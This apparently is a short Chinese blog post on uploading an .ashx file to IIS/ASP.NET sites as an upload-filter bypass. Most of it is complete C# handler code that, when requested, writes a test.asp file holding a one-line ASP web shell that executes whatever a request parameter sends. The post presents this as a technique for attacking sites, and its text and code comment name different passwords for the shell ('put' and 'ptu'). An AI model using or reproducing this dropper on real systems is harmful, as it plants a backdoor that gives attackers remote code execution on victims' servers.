ashx上传姿势

很多情况下网上流传的cer,asa,cdx……等等来上传，其实很多时候是不行的。但是ashx会好一些。

PS：其实这个姿势也蛮老了，但是还是相当一大部分站点存在。也是一个姿势所以写博文记住它。免得忘了。

解析后就会生成一个test.asp的马，你就可以连接这个test.asp  密码为:put

<%@ WebHandler Language="C#" Class="Handler" %>
using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {

    public void ProcessRequest (HttpContext context) {
        context.Response.ContentType = "text/plain";

        //这里会在目录下生成一个test.asp的文件
        StreamWriter file1= File.CreateText(context.Server.MapPath("test.asp"));
        //这里是写入一句话木马   密码是：ptu
        file1.Write("<%response.clear:execute request("put"):response.End%>");
        file1.Flush();
        file1.Close();
    }
    public bool IsReusable {
        get {
            return false;
        }
    }

}